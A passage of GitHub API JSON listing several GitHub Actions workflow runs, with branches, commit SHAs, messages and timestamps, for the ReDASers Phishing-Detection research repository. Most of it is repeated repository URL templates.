:false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292306518,"node_id":"MDExOldvcmtmbG93UnVuMjkyMzA2NTE4","head_branch":"x_spam_flag","head_sha":"183be5b7aeeadf7ba292dd921731a660cab9af2b","run_number":283,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1299350178,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk5MzUwMTc4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292306518","pull_requests":[],"created_at":"2020-10-06T22:21:44Z","updated_at":"2020-10-06T22:24:15Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1299350178","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"183be5b7aeeadf7ba292dd921731a660cab9af2b","tree_id":"b38c72e0cda01bfa7771810acb5af9e9f76b9b48","message":"Lint","timestamp":"2020-10-06T22:21:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292306455,"node_id":"MDExOldvcmtmbG93UnVuMjkyMzA2NDU1","head_branch":"x_spam_flag","head_sha":"183be5b7aeeadf7ba292dd921731a660cab9af2b","run_number":1076,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1299350013,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk5MzUwMDEz","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292306455","pull_requests":[],"created_at":"2020-10-06T22:21:41Z","updated_at":"2020-10-07T02:35:45Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1299350013","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"183be5b7aeeadf7ba292dd921731a660cab9af2b","tree_id":"b38c72e0cda01bfa7771810acb5af9e9f76b9b48","message":"Lint","timestamp":"2020-10-06T22:21:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292221714,"node_id":"MDExOldvcmtmbG93UnVuMjkyMjIxNzE0","head_branch":"x_spam_flag","head_sha":"8b25ed8d9153ee37a4db0c2038524b337457d65f","run_number":282,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1299089101,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk5MDg5MTAx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292221714","pull_requests":[],"created_at":"2020-10-06T21:17:45Z","updated_at":"2020-10-06T21:20:22Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1299089101","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"8b25ed8d9153ee37a4db0c2038524b337457d65f","tree_id":"6e0244b6a82f48e9b48a2e16b763a7b8988355d3","message":"Additional Email Unit-tests","timestamp":"2020-10-06T19:37:31Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 